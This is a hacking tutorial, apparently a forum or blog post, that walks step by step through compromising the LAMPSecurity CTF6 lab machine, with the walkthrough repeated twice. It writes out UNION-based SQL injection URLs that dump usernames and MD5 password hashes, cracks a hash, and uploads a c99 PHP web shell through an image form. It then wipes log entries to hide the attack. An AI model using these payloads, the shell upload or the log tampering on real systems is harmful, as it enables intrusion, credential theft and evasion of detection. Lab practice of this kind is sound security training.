Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t5NhJQ3LmzNEas1m6uXKyOfxcUz_kRSw7aAzvZnIfADkLYpAvcb642WGjVax3G0dr0hUJzN506ZeOwfz7INwsR6c2aYKLtGmfNvvvrTAozJOVXNx_CXfnKAu6ClDGbiSIufMH_2mLnmaMu-wMmNUYw3nrZH1FXcwP9Izxaa7Hoo3qo=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tMd4t0UAheWIkoz4mGcsZvFTdNaR5ZsGRlfuXWhDa9FmcA_WGtmreeNcBRsnKJ5FFMY8p1KDwEMQxy-RX9ewsAJbC_hqU-C9MAzMH_aTL2NpGARF2hMuuY3ceuT8ukKx_oFb-BSz-hMVXwksqurvTDJE8yMIa6IoCkiX87C7WOUtv4ug=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uiewbL3lDDzPttmic6Iwv7AWwLHQjwygJmGH2Obp5K3VIr7Oyd9qHujsxpwnG8YXyk0mD-Dx-pI9sjmjLElroBUlCtJhzTdmaGvzx1D_VCRjJxNNK85rFaY4z9hXS-5BFERQMjSoox9Qbg3brjSIkKvZIhmgIcTzYlQ14g_3w-S9PxFw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tbXp03LmiyV8aMGk1Y-OCpFsU_xX-DAQ0YTIuyiTIrWdBgZOTYu18HhmhYnNm7UPjiCqDQgyLg90I84Z148O8tLJCmrAlpOqi_duwghk2m1BzUpQfvEQi9So89UoEnNBde9F0tlBxF30trtTcXZvML18_GDk0juoEpcSaCcQ64gRoDGg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vePzURL2S7WRkddwmN6WvhHr5fkdvW5B6GxWNxABxacdrjnbc2Lndo18wCDo71h40Ur5fUJRAXuI8yuCcqR3IzU5JyemAVpeJZpgtaSDCcFUVm5hmUb-Zv6IQH6KG7zt4ok5gwfgVBvkVkM4FzGlM0vjN6vekcPHl2kitlrwwsTVWTww=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sMdO6T3JWnjCg3QxHXuj69kdQpUdQsE20axuDNwOGopYm_cu3MR_M9XVvUqNBUS6xPFLPHSYGJn_D7sdZBs_-9HMTHylVEQjaM0e32_5FmQFnyWtsWC0TNGawAwT6Zj7nReoiayvVb5QAwxYnqPO-iF3cnIlFk1d4OvtuS3dGrCWFl=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sN4-YqSjg5OMoARKUQBl-6OCLTSX72Ir90MELSV6_cfS6x7TaoafAkeg5V4-XGniY6jMy4HITkcbhgGzcAW_imfpLLD_1pEZfhTUZHG3wxFPd9xlWHwsUgelGeDfvgRG2vQWjTtH7CIx3jaYnEaSlr3Gj3AvlWTwfLhCwfMx9TC5UPDJU=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s6GodKChcZGE_AH3-sveXlcARTTNHzLnqtadGGSQOWjpD0eesrPlsRF4M0lb-2sTZlL2S-WK6iy7yEVS5omzg_CH516Verx2iSne0pcuX6xc9aop6aYOcjTJ-R17JnLJ_tkOv_ly76tMFyASi_ggRn6J3aZ0kc-nlMATmjcAv1pHnxoW0=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ulu5JixkCi_COjGGJvF0Ck0jHcC1dgRONqb_F8GM5EovTBcBnpNHdOm6Yexyn5jG8tROpgxHj63QwTEH1L7-AKhWO-heW0i7CYMgKg8eXAXsPLt4vzwFGvwSH-cv-s2EaLTbZKBAveqLa-an5vcXNIP2VV70la1zkk9ThT71HGYQNZ0uo=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vOrYHUzwpMYY9qq__qwAxsF7afiHEaFKaUOZ1BGw7wFqtqORrS_tprrfywuHc1uXKZjE4vBCry2lMRDyHoLxtuVD6E_FCg1ao-GOi_yjKdKoE4bHa2ux3eqYvPsc9lQ9e8CUOZK33BSXdiRS6MwKdCAJ9PM_Ncxckk1mYCVGoQ4pHsh8k=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tphy0_EfpsVj6h9qzfGez6FLvnnEWJvlOkoXNr7-RJ6G5nHTLCZwQMgb7JVKi0EpkZDbwZuSjuDHE2JDy7ijSo7oQvkdvW60SUcGQxegorAmYSwbs6uIWXddxEkJYefqhiUkO9V7-x3HUMaNzQRt_DTPsjnqmsUdq3woD3RsN-s5M0Wg=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uCG-iOSUFoyT9EWT5VYyUIRr5kqoiLrkg6v-R0L4OMTpnaFXDHLuipbEugn2ztKkpqCXefoqrNPAP-n249xCiaxSa_yeBdgTaUw5W4C09rzOBKViziI9S1YHHzXEif49fQNTBV4JhiY_-BGudOU3cgCDHzVr7o6C10pqZQIdtK2Ky_AbI=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vRzVvlmhTjOxSL7PNhcn_Hz0hSrrc6WVp9v3pZD4hAdgjCKSG08gJRQq4dTicDhvVb4tzOk9Lmi-qznYLi1YqKHv5X1YRcpJOJJuIPy87DDQJniVLR0J3rmskbDTBr_69O9Dn6atl5gB6P_DPW02k49n_-mzOoKmkVHIOHwoacZpU0RX8=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tu9s38grTLYWSGUbM4RYD_ohKQmt1_j9U7wEmmodw1tcrzCjXedsM4NEEeRTwEYl4Xr0iFs8pif7vjoaNBl7FkeB86sG-3m0hk-2BbpOZlFic0yF0K9ZG0Sq1z-8VjvJ2hYb3WrdMZZGDfnzGxgcIU1OQAW1Enx5vxvP4yXQZbhFoIhw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ua56PmTTX5y4lwD6Dxt9Fr7uPaTDf2g1487J7Z2sSPEXxp19fUK0dzSv4k_FDr4szOH66PYFAaIQao6-TbPHM5fMoHZUXMWpFNcEwmbqY-DLb0oRQAhoTs63GmWN1ydtKxbs8MM50dPiqBSJinDpdQve8UckRvWGqo8kaaQOWjfsa3aw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vlVT4Cz3WVF4125U-AZ7aIdlxOv7Nkb8VL_4d4ro_6Q2YP8InQeeus6NjSknzx_cJJKMxDhJg4SSDcMVFUnFodcl4pF0okS8F8Q0v0mf7tJFpunpuHH7MPucpN2TR_32AOeRpzESxlFeWduKcKzvpHlFWZRCJ6YKYc-ay8ZklG_OMJm_o=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sCm0RXVQaTt4fCSia4vfRhtFDivLBdGp-AAE05kRp73ofvgZi3uHEW1O5mhrjmg-ENLVUCmO5KlUVQcpf-FwLDm5KY_4f3id_Yomf0WI_wby15yv0-G3ns9IY0-llT1AvAuJ_Wg82Sn5mUDFXJZ_UYyh91GmTjLi5OJylzkT_x7TujRRE=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vFYV6X-VkbuqJuiIZtoFwFAEgFopTjkNLcJPwn0TXZk52tz_SwU_a_lc9H0r6vnxOeiPn2dXVLbDsq0akRnKjj9dgGA7P6KHbNHfaKrBIUYTwynF44aKO5rRlCTL5flueTN526wmTn2GFxjhkAazHiBPsVpYljB9_UFqdYV0ut2ehlFXA=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uOnFvR5tKBBxMOwlr8-yHRzepavnpPejwI3W4GlkYJ6oYFQ5riGbQo1Ujv0aUaKaWPeb2kz9ACV8eT67DL4cnXqZZNG0WIagU_yUizijDBp5Pvc4fMJDpJhKpaJ0noRPFs2BvN67hFFGxwrPuDAhvMTeNQiomGF0vRJVRrE8OOUCW3ZNA=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v9JKPuzRZOEfFLbLo8FWSicxmwbYB8HLOo0D7TKdhfAOATxw5EK3tWq2zy_8v06CWffXRyErSTQsc88HBZSJ8XXkKjvnLbVbVcWoMrjW8S7ktAKVvbe0Vckf34BBVMnI5UIt8QcVkITNK-J51k-7TFyn0ycuRx-1-5NeqrJtE8vsRXjyM=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tE4STAi73XRJJJBI4M0aL_dAhrMJ8IhL7E1OWYCbFwes9WB5kOBd4_o8GaWWa0UWSPCEPc2WRD7TbCQ0FXU_8OONfj6P-TNBjbbpb6On_piJgbbUuQWAhfYPgKTiKGQOp3zZdc_F56TXrB6AS5rJ8rTPcFoJ-4OcGNoYQ_MVRjmqEEkrw=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vC67LdEShTyawGKMiMs6fSLFkGfiFSoUcMuV14IeFZpMvd7ryhCDsXUDZVqei88NKe3Mw_J60o8WtrhkJdYCdtbtA-C0geus6xKPbUSti4jBfBwnATA8mczbyicV5q5Ig4060jGjIvLaZyips4X79LxtCr7tfat6pzZi9JpcRZk5Gx_T8=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sWbdYgMC1KC-QM5j7HOh271ZAI9GVLJasHfSEDJSpXY3GeNEyVyOcSWHH256qEbMZ4NPbTJ7IPgsbmkj9bWGiJ3Q4dLR2SP1bMyd0mGnHc6GF-lGgZQleXEr889z9_Cw376N9__vtqG2qR45KAFsClagmXr3NE89mOX0o9K1oIJbDBRUg=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sh2VVZzP2ZQik4gOqTwQ7n28T1n85PpSoSg8XHC2eEj5_1Kd4VSRqWaXoQOVxqR7wToQUV6055cs1BTtezx1vVr6f95N8nvyYUjDymi8DVw8kUroTX--HNLIKfHb5QAm-lwqCgcLL2B2hS32JPbxhPt_uTivJRbvWUIyjNpgAr6Wxw6g4=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ty26ixPDC10mYrGXrsO_nYZU25-D8mU-vicjGwvz31PaiMhbTiWYLEqCdd5SdP8tTXUjxLp0zPSy97ariqVcxxiUI7VZ6Hjb5ealoaCseAIF91uLAofwEdQI0tEa9IWRzzph3htdeNjNUllExsgQIlG-PxKn6XajjAtE9tmZhhJzEh9g=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u3D3Bq9RrkDzZyxJyW-VAKz_sbPoAkDKb89s4YNizOli5-N4wCrZG2uf3B25JrfwWd-nUOLfi7IthrmEpJJHVZcZAj3X1CWX75lNVEKc3ogIve4Q0bz1Tlxtu-CsYpquDgmTL5HeNyRamj0ZOLB_gGxpryM4JH0792SRKX28lgVlt2_Q=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tyB1lfpn8t6Eqo0-0GZG34-VQbYWjM4Him4TdLQe_9ZdpqhMHAsnMijqT_bw5lCSjNeX2DXTMZt3EUPer7_iWEX-1LcUWWZK2qfJYaJBnRf3XwmqouevCzi5COxjMbh7WIRgPTK3INOr1ZvbMLbl3hncI5aJEF9v_0Whebg88GobHdyhY=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ur1587NrqV-LfE1bhUIQkVOEJvzfO_4WMLR_qJpy7F9gDkvx9zVbL0dswvzTe6ECxWtEYZgb8RCZJm238PseDGOaZl2BYxtv6K0n7iMZURANIJZvjdkAVbeynBYPPLEbXZUa9BSExwYSgHJME_jBzsW9UVigk8fIrkJOydbrzpTWcGuds=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sVywJh9-3ICgOgRNwlDugliog66kPefWSLd499ssxkMJ6Au9BJQoELC3LMcbife3gQ0LCUYeCc33nqgXQrlfAtf9Zmd4PFX6aJ02tcnO0C84y04FYB5kv-tXD_jTrdUWpxefQB8YvMfvQRLIccfxrnnPiFzC85LpGV-lYqvUx_XwPTUg=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRplA7jf9OQVQHtdBrXU4keMpYqzqCWw0K4VVNo0vbRZiA8q6mPr-h_8p8Ud2aGRE7zxURJ5S9KvPADgY6fqtBkdWfrr19Owd3iV4FIbXKpCwlpNTe3PWY4U5fGYhAQQeV-0IG0-ssrkOdIvCvRjW3yt94oi97zMDd9Y1q4vGEbYHD2CI=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vny3r9k4ud_HQyW2GHW1NXT5deiN-MxExUdThQVYIQFmRA6L3vGgdEQNap0D5PljgJuGLrAWHF0A1hqhmoiY1TShOPXoy2FTrExuLV9UsKibzdDKcLYom_35r5lypu-V6f01koynkldHA4wGyZyGZh3ZQf0M7kjVQ8qN72sKuCrokCszs=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vF3O-GHXqVYO1d4acFBP8ZkS7FTyRr46NxiTz9R_SrkMsuvyS5_uX1xdSf0wMCnRVvk6CN0wGnzPaajmU5HcRM6ZpGOLysKr5s6RA4SKpMs7Q1nEIHH39r25LWen_kqxfptUZYawi4oCyK4oQyf79RTqod3V-A5GbobdtEUEiiGnyOAWk=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u39-2ANqZbCSpxz5MC8M8DsF8xauj6ec1sM4TDhDDRvclco2YRyL7CcRj5sx_RTU4rdExj-DU20P8f6S_P6xIQXCkdq34NngatmyIAw3cm69zbI8sgHn9bO7ughfgPGE8MsWaJYrv61SxyNsSYb16KXsUIr86DtU2H9ejshrhGfh_vy0A=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGfrEUNW7Lw6kqFkuz9zZbjX732DF1r5kJhrSze5vxDuSJ67lgvoMs6tjOVyMGV6_BfGjjeHun6dnDiAAgVrJEX6eiFGeBwYzCrrm2SRZwczmEwU3uBTwaigrpH2sRu6pJ3oXe-cMTH268_qr-q9bZth6HQtwLjW-9hRpfZ4qwcq4tdTI=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sqKdcYBUu-Q-tQgUdMUL4Hj7fLwIUg3N3Gi2MG4PNhZXA42QOkOHk_luGqkf5pC6LrWoDBohuYGBOAd7fccQh2ucwpHtxjejC5PeaL0vNAV38JewM3_rqSsmRgftoPX8g3M3dnHJPg4RbiMYiqMAaLLQbl4AbBRYJR8vx2m8sajogYETk=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v_QwIRkCi9B0W1qpP2pMNHxBMegJwD-Ak_6JoP0bADBHZAzRcYoFo-x82koyjP7r9MDA9-Z27dBNf4j3AsO0JWsChbkmDI5AyWbyr-umn9_RNMhH_Ui05W4HDNEeiQrGh-DZ25eGGsocv9Bw_xgVlM4tsQru7QVBv1wbEk9cNxElX2x0U=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t-pT9rTnhzu-6TDyhHQGwgpLz013NMrpfxuHFs9SWtOrdZxDAoJfZwUQBk_NdhNXjg7EahpIw1cQHfRGb56K12_PC9YESqpDpLizlHA3dw8uJQ98vd-wFCp615WLVIe1Rb4sSUNqtFMzLuKft-DUoWM8fTi7CHCpi6nVj_CKuAlOwYAA=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s6S9EvINrFZOyblCaV9K6lCdL3itAKebAxbwnatpXCmbMdvw2DTjecLc0SntEtmmJ9KzzI2Qf88jzGiwPNPJNCbxwjlEuevPapuuQC4dYkx3qcVj_JnwWN5L8UJCNBfdfdMpGXQhxfyI5ruEaCfi2KPQ1ZauPNVw8HVvSXcvUhFiEsg1M=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ucoETaj7eETgTCiyI5ognlUhJYaW9PH3sG4gDsgTSqxHsJOcJa4UPXDdrzn4Gc-aLw-FI2-XfNhIPaZequDwHPmnEBX9WkstU3n4DfuPN-GMsM5FN6KBYiXCdQ-YfHZNL2au5yf2O6z79n3EM0bV7RWCyBaFnFr0fJyF3BeTDFkIkCSA=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKzvz2jGQ4mcQqZi6v-cpIUsbwlLkdxXmk2VtD_IBppovSI7Z06niDNdgMB3sPLFgkgNlpcVkzF_vU5YIHrom2Y2leRyaE5eQbKiDu-_CS2rTbHOggvmUqQzG8iPXYA4swqb67jBGNsvuQvpmB5VT_ZvXQKbrKL2kK-8-T08cu3qpqNCI=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s-chQzzxcz_CV8nH9-wqdj-qXB9oqCDcF6rkGcRdP2O_8mSRqYo4Db0pOSdLVRFydfBODlfHxD58ob9LjzGE0isFLDnU3nFN8UCjYB60cklzLpdjkVkFPqT1pQS-osc4sz01FUtTz_9G0CTf1unS0lJLDGaa3jWGL9mdT5_UAP3LrY-vE=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uPBNxTEFCj0KMHXCpm22hyz2EIqtBCtG0sUAgVO7WZaVrdaf5r_xqlm0rUb2KOk4vw6COCPBLzu_4HiEmcuLGHlgE-PfcwNS8owvXG1J_qBUbE9EPgiCocN6TxHt7eUIwRaxvONesaXmI93gwi1XQye0OLoy3ASDfmEyi4b9RTFyWjid4=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uUr1okin40PxgSZK6p2HE3TFxT5VcxrKX8195escSHTm5o7B2fHkgzHXs7HRQwGBYvmL1VrNIwrtSrECPa3aDo7MalNJwE0eRgdLUS8biMFxCOMcvPgK3eODdLbe4mGZ_EBvuMjfPDUuC0RQ4vVBcAS0k2j_FdQYmjwl7FDm4nlip1GQg=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t4aGAvo6GteoZTzO3i7gGEkXcQIddN1h0pkLqkKbA1c_7k24VVDEp8aM4sII2SFtXZ-pFUnUZPhPqEyJ7Ry-FBUiSDweusFWjvkI5kXQTwkQIdvZgXZN4zbRhPk1sxAFeWj_CptZuVTcwuBND9AwsPI-eb-F9WtV80vgH8METoV98M8g=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vO-1yFJFYK9zMvIPZbP_NQgTc-eTPxn-RP9sMB1XDJDRu5dh-5ljPZz5eSpPudsq6R3ZqV4DSI9Hx83T21GYlg8wd_o5XDEyBlCFHo9lwqS3u3jMoAWsQ295DbWGrAxPNlEEIySQWO-TWR09cCMzbO5b6KJg0vvYrpcmW24kib-Id1XKI=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
Tags
bypassing